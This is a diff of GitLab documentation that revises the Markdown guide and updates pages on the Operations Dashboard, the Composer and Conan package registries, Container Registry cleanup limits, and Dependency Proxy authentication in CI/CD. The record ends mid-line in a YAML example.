images for this documentation. Rendered emoji +in GitLab may appear different depending on the OS and browser used. Most emoji are natively supported on macOS, Windows, iOS, Android, and fall back on image-based emoji where there is no support. +<!-- vale gitlab.Spelling = NO --> + On Linux, you can download [Noto Color Emoji](https://www.google.com/get/noto/help/emoji/) to get full native emoji support. Ubuntu 18.04 (like many modern Linux distributions) has this font installed by default. +<!-- vale gitlab.Spelling = YES --> + ### Front matter > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23331) in GitLab 11.6. @@ -284,8 +295,9 @@ its content. This data can be used by static site generators such as [Jekyll](ht [Hugo](https://gohugo.io/content-management/front-matter/), and many other applications. When you view a Markdown file rendered by GitLab, any front matter is displayed as-is, -in a box at the top of the document, before the rendered HTML content. To view an example, -you can toggle between the source and rendered version of a [GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/README.md). +in a box at the top of the document. The HTML content displays after the front matter. To view an example, +you can toggle between the source and rendered version of a +[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/README.md). In GitLab, front matter is only used in Markdown files and wiki pages, not the other places where Markdown formatting is supported. It must be at the very top of the document @@ -340,7 +352,7 @@ $example = array( ### Inline diff -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-diff). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-diff). With inline diff tags you can display `{+ additions +}` or `[- deletions -]`. @@ -413,7 +425,7 @@ the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activati ### Special GitLab references GFM recognizes special GitLab related references. For example, you can reference -an issue, a commit, a team member, or even the whole team within a project. GFM turns +an issue, a commit, a team member, or even an entire project team. GFM turns that reference into a link so you can navigate between them. Additionally, GFM recognizes certain cross-project references and also has a shorthand @@ -421,7 +433,7 @@ version to reference other projects from the same namespace. GFM recognizes the following: -| references | input | cross-project reference | shortcut within same namespace | +| references | input | cross-project reference | shortcut inside same namespace | | :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- | | specific user | `@user_name` | | | | specific group | `@group_name` | | | @@ -432,6 +444,7 @@ GFM recognizes the following: | snippet | `$123` | `namespace/project$123` | `project$123` | | epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | | | vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` | +| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` | | label by ID | `~123` | `namespace/project~123` | `project~123` | | one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` | | multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` | @@ -447,8 +460,8 @@ GFM recognizes the following: 1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7. -For example, referencing an issue by using `#123` will format the output as a link -to issue number 123 with text `#123`. Likewise, a link to issue number 123 will be +For example, referencing an issue by using `#123` formats the output as a link +to issue number 123 with text `#123`. Likewise, a link to issue number 123 is recognized and formatted with text `#123`. In addition to this, links to some objects are also recognized and formatted. Some examples of these are: @@ -459,12 +472,12 @@ In addition to this, links to some objects are also recognized and formatted. So ### Task lists -If this section is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists). +If this section isn't rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists). -You can add task lists anywhere Markdown is supported, but you can only "click" -to toggle the boxes if they are in issues, merge requests, or comments. In other -places you must edit the Markdown manually to change the status by adding or -removing an `x` within the square brackets. +You can add task lists anywhere Markdown is supported, but only issues, merge requests, and +comments support clicking to toggle the boxes. In other +places, you must edit the Markdown manually to change the status by adding or +removing an `x` inside the square brackets. To create a task list, add a specially-formatted Markdown list. You can use either unordered or ordered lists: @@ -482,13 +495,13 @@ unordered or ordered lists: 1. [x] Sub-task 2 ``` - + ### Table of contents -You can add a table of contents to a Markdown file, wiki page, or issue/merge request -description, by adding the tag `[[_TOC_]]` on its own line. -It appears as an unordered list that links to the various headers. +Add a table of contents to a Markdown file, wiki page, issue request, or merge request +description by adding the tag `[[_TOC_]]` on its own line. +It displays an unordered list that links to subheadings in the document. ```markdown This is an intro sentence to my Wiki page. @@ -504,7 +517,7 @@ First section content. Second section content. ``` - + ### Wiki-specific Markdown @@ -583,38 +596,39 @@ This snippet links to `<wiki_root>/miscellaneous.md`: ### Embedding metrics in GitLab Flavored Markdown -Metric charts can be embedded within GitLab Flavored Markdown. See [Embedding Metrics within GitLab flavored Markdown](../operations/metrics/embed.md) for more details. +Metric charts can be embedded in GitLab Flavored Markdown. Read +[Embedding Metrics in GitLab flavored Markdown](../operations/metrics/embed.md) for more details. ## Standard Markdown and extensions in GitLab -All standard Markdown formatting should work as expected within GitLab. Some standard +All standard Markdown formatting should work as expected in GitLab. Some standard functionality is extended with additional features, without affecting the standard usage. If a functionality is extended, the new option is listed as a sub-section. ### Blockquotes -Blockquotes are useful to highlight information, such as a side-note. It's generated +Use a blockquote to highlight information, such as a side note. It's generated by starting the lines of the blockquote with `>`: ```markdown -> Blockquotes are very handy to emulate reply text. +> Blockquotes help you emulate reply text. > This line is part of the same quote. Quote break. -> This is a very long line that is still quoted properly when it wraps. Oh boy let's keep writing to make sure this is long enough to actually wrap for everyone. Oh, you can *put* **Markdown** into a blockquote. +> This is a very long line that is still quoted properly when it wraps. Keep writing to make sure this line is long enough to actually wrap for everyone. You can also *add* **Markdown** into a blockquote. ``` -> Blockquotes are very handy to emulate reply text. +> Blockquotes help you emulate reply text. > This line is part of the same quote. Quote break. -> This is a very long line that is still quoted properly when it wraps. Oh boy let's keep writing to make sure this is long enough to actually wrap for everyone. Oh, you can *put* **Markdown** into a blockquote. +> This is a very long line that is still quoted properly when it wraps. Keep writing to make sure this line is long enough to actually wrap for everyone. You can also *add* **Markdown** into a blockquote. #### Multiline blockquote -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiline-blockquote). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiline-blockquote). GFM extends the standard Markdown by also supporting multi-line blockquotes fenced by `>>>`: @@ -639,9 +653,9 @@ you can quote that without having to manually prepend `>` to every line! ### Code spans and blocks -You can highlight anything that should be viewed as code and not simple text. +You can highlight anything that should be viewed as code and not standard text. -Simple inline code is highlighted with single backticks `` ` ``: +Inline code is highlighted with single backticks `` ` ``: ```markdown Inline `code` has `back-ticks around` it. @@ -651,9 +665,11 @@ Inline `code` has `back-ticks around` it. --- -Similarly, a whole block of code can be fenced with triple backticks (```` ``` ````), -triple tildes (`~~~`), or indented 4 or more spaces to achieve a similar effect for -a larger body of code. +To achieve a similar effect for a larger code example, you can: + +- Fence an entire block of code with triple backticks (```` ``` ````). +- Fence an entire block of code with triple tildes (`~~~`). +- Indent it four or more spaces. ````markdown ```python @@ -695,16 +711,16 @@ Tildes are OK too. #### Colored code and syntax highlighting -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting). +If this section isn't rendered correctly, +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting). GitLab uses the [Rouge Ruby library](http://rouge.jneen.net/) for more colorful syntax highlighting in code blocks. For a list of supported languages visit the [Rouge project wiki](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers). -Syntax highlighting is only supported in code blocks, so it's not possible to highlight -code when it's inline. +Syntax highlighting is supported only in code blocks, so you can't highlight inline code. -Blocks of code are fenced by lines with three back-ticks (```` ``` ````) or three tildes (`~~~`), and have -the language identified at the end of the first fence: +To fence and apply syntax highlighting to a block of code, append the code language +to the opening code declaration, three back-ticks (```` ``` ````) or three tildes (`~~~`): ````markdown ```javascript @@ -761,7 +777,7 @@ But let's throw in a <b>tag</b>. ### Emphasis There are multiple ways to emphasize text in Markdown. You can italicize, bold, strikethrough, -as well as combine these emphasis styles together. +and combine these emphasis styles together. Strikethrough is not part of the core Markdown standard, but is part of GFM. Examples: @@ -786,10 +802,11 @@ Strikethrough uses two tildes. ~~Scratch this.~~ #### Multiple underscores in words and mid-word emphasis -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words). +If this section isn't rendered correctly, +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words). -It's not usually useful to italicize just _part_ of a word, especially when you're -dealing with code and names that often appear with multiple underscores. As a result, +Avoid italicizing a portion of a word, especially when you're +dealing with code and names that often appear with multiple underscores. GFM extends the standard Markdown standard by ignoring multiple underlines in words, to allow better rendering of Markdown documents discussing code: @@ -922,8 +939,7 @@ emoji is converted to an image which is then removed from the ID. ### Horizontal Rule -It's very simple to create a horizontal rule, by using three or more hyphens, asterisks, -or underscores: +Create a horizontal rule by using three or more hyphens, asterisks, or underscores: ```markdown Three or more hyphens, @@ -978,7 +994,7 @@ Do not change to a reference style link. #### Videos -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#videos). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#videos). Image tags that link to files with a video extension are automatically converted to a video player. The valid video extensions are `.mp4`, `.m4v`, `.mov`, `.webm`, and `.ogv`: @@ -995,7 +1011,7 @@ Here's a sample video: #### Audio -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#audio). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#audio). Similar to videos, link tags for files with an audio extension are automatically converted to an audio player. The valid audio extensions are `.mp3`, `.oga`, `.ogg`, `.spx`, and `.wav`: @@ -1012,7 +1028,8 @@ Here's a sample audio clip: ### Inline HTML -To see the Markdown rendered within HTML in the second example, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-html). +To see the second example of Markdown rendered in HTML, +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-html). You can also use raw HTML in your Markdown, and it usually works pretty well. @@ -1076,11 +1093,12 @@ Markdown is fine in GitLab. #### Details and summary -To see the Markdown rendered within HTML in the second example, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#details-and-summary). +To see the second Markdown example rendered in HTML, +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#details-and-summary). Content can be collapsed using HTML's [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) and [`<summary>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary) -tags. This is especially useful for collapsing long logs so they take up less screen space. +tags. For example, collapse a long log file so it takes up less screen space. ```html <p> @@ -1108,7 +1126,7 @@ These details <em>remain</em> <strong>hidden</strong> until expanded. --- -Markdown inside these tags is supported as well. +Markdown inside these tags is also supported. NOTE: If your Markdown isn't rendering correctly, try adding @@ -1150,7 +1168,7 @@ These details <em>remain</em> <b>hidden</b> until expanded. A line break is inserted (a new paragraph starts) if the previous text is ended with two newlines, like when you hit <kbd>Enter</kbd> twice in a row. If you only use one newline (hit <kbd>Enter</kbd> once), the next sentence remains part of the -same paragraph. This is useful if you want to keep long lines from wrapping, and keep +same paragraph. Use this approach if you want to keep long lines from wrapping, and keep them editable: ```markdown @@ -1180,7 +1198,7 @@ GFM adheres to the Markdown specification in how [paragraphs and line breaks are A paragraph is one or more consecutive lines of text, separated by one or more blank lines (two newlines at the end of the first paragraph), as [explained above](#line-breaks). -If you need more control over line breaks or soft returns, you can add a single line break +Need more control over line breaks or soft returns? Add a single line break by ending a line with a backslash, or two or more spaces. Two newlines in a row create a new paragraph, with a blank line in between: @@ -1268,6 +1286,8 @@ GFM auto-links almost any URL you put into your text: - http://localhost:3000 ``` +<!-- vale gitlab.Spelling = NO --> + - <https://www.google.com> - <https://www.google.com> - <ftp://ftp.us.debian.org/debian/> @@ -1275,6 +1295,7 @@ GFM auto-links almost any URL you put into your text: - <irc://irc.freenode.net/> - <http://localhost:3000> +<!-- vale gitlab.Spelling = YES --> ### Lists Ordered and unordered lists can be created. @@ -1397,17 +1418,21 @@ Example: ### Superscripts / Subscripts -Currently, CommonMark and GFM don't support the superscript syntax ( `x^2` ) that -Redcarpet does. You can use the standard HTML syntax for superscripts and subscripts: +CommonMark and GFM don't support the Redcarpet superscript syntax ( `x^2` ). +Use the standard HTML syntax for superscripts and subscripts: ```html The formula for water is H<sub>2</sub>O while the equation for the theory of relativity is E = mc<sup>2</sup>. ``` +<!-- vale gitlab.Spelling = NO --> + The formula for water is H<sub>2</sub>O while the equation for the theory of relativity is E = mc<sup>2</sup>. +<!-- vale gitlab.Spelling = YES --> + ### Tables Tables are not part of the core Markdown spec, but they are part of GFM. @@ -1437,7 +1462,7 @@ Example: | cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. | | cell 7 | | cell 9 | -Additionally, you can choose the alignment of text within columns by adding colons (`:`) +Additionally, you can choose the alignment of text in columns by adding colons (`:`) to the sides of the "dash" lines in the second row. This affects every cell in the column: ```markdown @@ -1452,7 +1477,7 @@ to the sides of the "dash" lines in the second row. This affects every cell in t | Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 | | Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 | -[Within GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#tables), +[In GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#tables), the headers are always left-aligned in Chrome and Firefox, and centered in Safari. You can use HTML formatting to adjust the rendering of tables. For example, you can @@ -1470,7 +1495,7 @@ use `<br>` tags to force a cell to have multiple lines: | Item1 | This is on one line | | Item2 | This item has:<br>- Multiple items<br>- That we want listed separately | -You can use HTML formatting within GitLab itself to add [task lists](#task-lists) with checkboxes, +You can use HTML formatting in GitLab itself to add [task lists](#task-lists) with checkboxes, but they do not render properly on `docs.gitlab.com`: ```markdown @@ -1485,8 +1510,8 @@ but they do not render properly on `docs.gitlab.com`: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27205) in GitLab 12.7. If you're working in spreadsheet software (for example, Microsoft Excel, Google -Sheets, or Apple Numbers), you can copy from a spreadsheet, and GitLab -pastes it as a Markdown table. For example, suppose you have the +Sheets, or Apple Numbers), GitLab creates a Markdown table when you copy-and-paste +from a spreadsheet. For example, suppose you have the following spreadsheet:  @@ -1502,4 +1527,4 @@ entry and paste the spreadsheet: - The original [Markdown Syntax Guide](https://daringfireball.net/projects/markdown/syntax) at Daring Fireball is an excellent resource for a detailed explanation of standard Markdown. - You can find the detailed specification for CommonMark in the [CommonMark Spec](https://spec.commonmark.org/current/). -- The [CommonMark Dingus](https://spec.commonmark.org/dingus/) is a handy tool for testing CommonMark syntax. +- The [CommonMark Dingus](https://spec.commonmark.org/dingus/) helps you test CommonMark syntax. diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md index bef768cad4e..be3454dbd02 100644 --- a/doc/user/operations_dashboard/index.md +++ b/doc/user/operations_dashboard/index.md @@ -6,23 +6,27 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Operations Dashboard **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5781) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5. [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/9218) to [GitLab Premium](https://about.gitlab.com/pricing/) in 11.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5781) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/9218) to [GitLab Premium](https://about.gitlab.com/pricing/) in 11.10. The Operations Dashboard provides a summary of each project's operational health, including pipeline and alert status. -The dashboard can be accessed via the top bar, by clicking **More > Operations**. +The dashboard can be accessed from the top bar, by clicking **More > Operations**. ## Adding a project to the dashboard NOTE: For GitLab.com, you can add your project to the Operations Dashboard for free if your project is public. If your project is private, the group it belongs to must -have a [Silver](https://about.gitlab.com/pricing/) plan. +have a [GitLab Premium](https://about.gitlab.com/pricing/) plan. To add a project to the dashboard: -1. Click the **Add projects** button in the homescreen of the dashboard. +1. Ensure your alerts + [populate the `gitlab_environment_name` field](../../operations/metrics/alerts.md#external-prometheus-instances). + In GitLab 13.9, you can display alerts for the `production` environment only. +1. Click the **Add projects** button in the home screen of the dashboard. 1. Search and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index 6159ea395fa..f935fa87d68 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -4,10 +4,10 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Composer packages in the Package Registry +# Composer packages in the Package Registry **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15886) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15886) in GitLab Premium 13.2. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. Publish [Composer](https://getcomposer.org/) packages in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency. @@ -273,5 +273,5 @@ Output indicates that the package has been successfully installed. WARNING: Never commit the `auth.json` file to your repository. To install packages from a CI/CD job, consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your personal access token -stored in a [GitLab CI/CD environment variable](../../../ci/variables/README.md) or in +stored in a [GitLab CI/CD variable](../../../ci/variables/README.md) or in [HashiCorp Vault](../../../ci/secrets/index.md). diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index f90c220a622..c115f94b964 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -4,12 +4,12 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Conan packages in the Package Registry +# Conan packages in the Package Registry **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8248) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8248) in GitLab Premium 12.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -Publish Conan packages in your project’s Package Registry. Then install the +Publish Conan packages in your project's Package Registry. Then install the packages whenever you need to use them as a dependency. To publish Conan packages to the Package Registry, add the Package Registry as a @@ -98,7 +98,8 @@ For more details about creating and managing Conan packages, see the ## Add the Package Registry as a Conan remote To run `conan` commands, you must add the Package Registry as a Conan remote for -your project or instance. +your project or instance. Then you can publish packages to +and install packages from the Package Registry. ### Add a remote for your project @@ -170,13 +171,13 @@ convention. ## Authenticate to the Package Registry -To authenticate to the Package Registry, you need either a personal access token -or deploy token. +To authenticate to the Package Registry, you need one of the following: -- If you use a [personal access token](../../../user/profile/personal_access_tokens.md), - set the scope to `api`. -- If you use a [deploy token](../../project/deploy_tokens/index.md), set the - scope to `read_package_registry`, `write_package_registry`, or both. +- A [personal access token](../../../user/profile/personal_access_tokens.md) + with the scope set to `api`. +- A [deploy token](../../project/deploy_tokens/index.md) with the + scope set to `read_package_registry`, `write_package_registry`, or both. +- A [CI job token](#publish-a-conan-package-by-using-cicd). ### Add your credentials to the GitLab remote @@ -278,10 +279,19 @@ create_package: Additional Conan images to use as the basis of your CI file are available in the [Conan docs](https://docs.conan.io/en/latest/howtos/run_conan_in_docker.html#available-docker-images). +### Re-publishing a package with the same recipe + +When you publish a package that has the same recipe (`package-name/version@user/channel`) +as an existing package, the duplicate files are uploaded successfully and +are accessible through the UI. However, when the package is installed, +only the most recently-published package is returned. + ## Install a Conan package Install a Conan package from the Package Registry so you can use it as a -dependency. +dependency. You can install a package from the scope of your instance or your project. +If multiple packages have the same recipe, when you install +a package, the most recently-published package is retrieved. WARNING: Project-level packages [cannot be downloaded currently](https://gitlab.com/gitlab-org/gitlab/-/issues/270129). diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index 8c284ccb9a3..e3a469c4b6c 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -144,7 +144,7 @@ Before you can build and push images by using GitLab CI/CD, you must authenticat To use CI/CD to authenticate, you can use: -- The `CI_REGISTRY_USER` variable. +- The `CI_REGISTRY_USER` CI/CD variable. This variable has read-write access to the Container Registry and is valid for one job only. Its password is also automatically created and assigned to `CI_REGISTRY_PASSWORD`. @@ -209,7 +209,7 @@ build: - docker push $CI_REGISTRY/group/project/image:latest ``` -You can also make use of [other variables](../../../ci/variables/README.md) to avoid hard-coding: +You can also make use of [other CI/CD variables](../../../ci/variables/README.md) to avoid hard-coding: ```yaml build: @@ -382,7 +382,7 @@ The following example defines two stages: `build`, and `clean`. The `build_image` job builds the Docker image for the branch, and the `delete_image` job deletes it. The `reg` executable is downloaded and used to remove the image matching the `$CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG` -[environment variable](../../../ci/variables/predefined_variables.md). +[predefined CI/CD variable](../../../ci/variables/predefined_variables.md). To use this example, change the `IMAGE_TAG` variable to match your needs: @@ -559,18 +559,70 @@ Here are examples of regex patterns you may want to use: v.+ ``` -- Match tags that contain `master`: +- Match only the tag named `master`: ```plaintext master ``` -- Match tags that either start with `v`, contain `master`, or contain `release`: +- Match tags that are either named or start with `release`: ```plaintext - (?:v.+|master|release) + release.* ``` +- Match tags that either start with `v`, are named `master`, or begin with `release`: + + ```plaintext + (?:v.+|master|release.*) + ``` + +### Set cleanup limits to conserve resources + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/288812) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's enabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cleanup-policy-limits). + +Cleanup policies are executed as a background process. This process is complex, and depending on the number of tags to delete, +the process can take time to finish. + +To prevent server resource starvation, the following application settings are available: + +- `container_registry_expiration_policies_worker_capacity`. The maximum number of cleanup workers running concurrently. This must be greater than `1`. + We recommend starting with a low number and increasing it after monitoring the resources used by the background workers. +- `container_registry_delete_tags_service_timeout`. The maximum time, in seconds, that the cleanup process can take to delete a batch of tags. +- `container_registry_cleanup_tags_service_max_list_size`. The maximum number of tags that can be deleted in a single execution. Additional tags must be deleted in another execution. + We recommend starting with a low number, like `100`, and increasing it after monitoring that container images are properly deleted. + +For self-managed instances, those settings can be updated in the [Rails console](../../../administration/operations/rails_console.md#starting-a-rails-console-session): + + ```ruby + ApplicationSetting.last.update(container_registry_expiration_policies_worker_capacity: 3) + ``` + +Alternatively, once the limits are [enabled](#enable-or-disable-cleanup-policy-limits), they are available in the [admin area](../../admin_area/index.md) **Settings > CI/CD > Container Registry**. + +#### Enable or disable cleanup policy limits + +The cleanup policies limits are under development and not ready for production use. They are +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:container_registry_expiration_policies_throttling) +``` + +To disable it: + +```ruby +Feature.disable(:container_registry_expiration_policies_throttling) +``` + ### Use the cleanup policy API You can set, update, and disable the cleanup policies using the GitLab API. @@ -603,7 +655,7 @@ If you see the following message: Check the regex patterns to ensure they are valid. -You can use [Rubular](https://rubular.com/) to check your regex. +GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in the cleanup policy. You can test them with the [regex101 regex tester](https://regex101.com/). View some common [regex pattern examples](#regex-pattern-examples). ## Use the Container Registry to store Helm Charts diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index 5e5aadfae2b..fdf0caba090 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -35,7 +35,7 @@ The following images and packages are supported. | Docker | 11.11+ | For a list of planned additions, view the -[direction page](https://about.gitlab.com/direction/package/dependency_proxy/#top-vision-items). +[direction page](https://about.gitlab.com/direction/package/#dependency-proxy). ## Enable the Dependency Proxy @@ -64,7 +64,7 @@ Prerequisites: > - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -91,94 +91,35 @@ You can authenticate using: #### Authenticate within CI/CD -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/280582) in GitLab 13.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/280582) in GitLab 13.7. +> - Automatic runner authentication [added](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27302) in GitLab 13.9. -To work with the Dependency Proxy in [GitLab CI/CD](../../../ci/README.md), you can use: - -- `CI_DEPENDENCY_PROXY_USER`: A CI user for logging in to the Dependency Proxy. -- `CI_DEPENDENCY_PROXY_PASSWORD`: A CI password for logging in to the Dependency Proxy. -- `CI_DEPENDENCY_PROXY_SERVER`: The server for logging in to the Dependency Proxy. -- `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: The image prefix for pulling images through the Dependency Proxy. - -This script shows how to use these variables to log in and pull an image from the Dependency Proxy: +Runners log in to the Dependency Proxy automatically. To pull through +the Dependency Proxy, use the `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` +[predefined CI/CD variable](../../../ci/variables/predefined_variables.md): ```yaml # .gitlab-ci.yml - -dependency-proxy-pull-master: - # Official docker image. - image: docker:latest - stage: build - services: - - docker:dind - before_script: - - docker login -u "$CI_DEPENDENCY_PROXY_USER" -p "$CI_DEPENDENCY_PROXY_PASSWORD" "$CI_DEPENDENCY_PROXY_SERVER" - script: - - docker pull "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX"/alpine:latest +image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/node:latest ``` -`CI_DEPENDENCY_PROXY_SERVER` and `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` include the server port. So if you use `CI_DEPENDENCY_PROXY_SERVER` to log in, for example, you must explicitly include the port in your pull command and vice-versa: +There are other additional predefined CI/CD variables you can also use: + +- `CI_DEPENDENCY_PROXY_USER`: A CI/CD user for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_PASSWORD`: A CI/CD password for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_SERVER`: The server for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: The image prefix for pulling images through the Dependency Proxy. + +`CI_DEPENDENCY_PROXY_SERVER` and `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` +include the server port. If you explicitly include the Dependency Proxy +path, the port must be included, unless you have logged into the Dependency +Proxy manually without including the port: ```shell docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest ``` -You can also use [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) to store and access your personal access token or other valid credentials. - -##### Authenticate with `DOCKER_AUTH_CONFIG` - -You can use the Dependency Proxy to pull your base image. - -1. [Create a `DOCKER_AUTH_CONFIG` environment variable](../../../ci/docker/using_docker_images.md#define-an-image-from-a-private-container-registry). -1. Get credentials that allow you to log into the Dependency Proxy. -1. Generate the version of these credentials that will be used by Docker: - - ```shell - # The use of "-n" - prevents encoding a newline in the password. - echo -n "my_username:my_password" | base64 - - # Example output to copy - bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ= - ``` - - This can also be a [personal access token](../../../user/profile/personal_access_tokens.md) such as: - - ```shell - echo -n "my_username:personal_access_token" | base64 - ``` - -1. Create a [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) -named `DOCKER_AUTH_CONFIG` with a value of: - - ```json - { - "auths": { - "https://gitlab.example.com": { - "auth": "(Base64 content from above)" - } - } - } - ``` - - To use `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` when referencing images, you must explicitly include the port in your `DOCKER_AUTH_CONFIG` value: - - ```json - { - "auths": { - "https://gitlab.example.com:443": { - "auth": "(Base64 content from above)" - } - } - } - ``` - -1. Now reference the Dependency Proxy in your base image: - - ```yaml - # .gitlab-ci.yml - image: 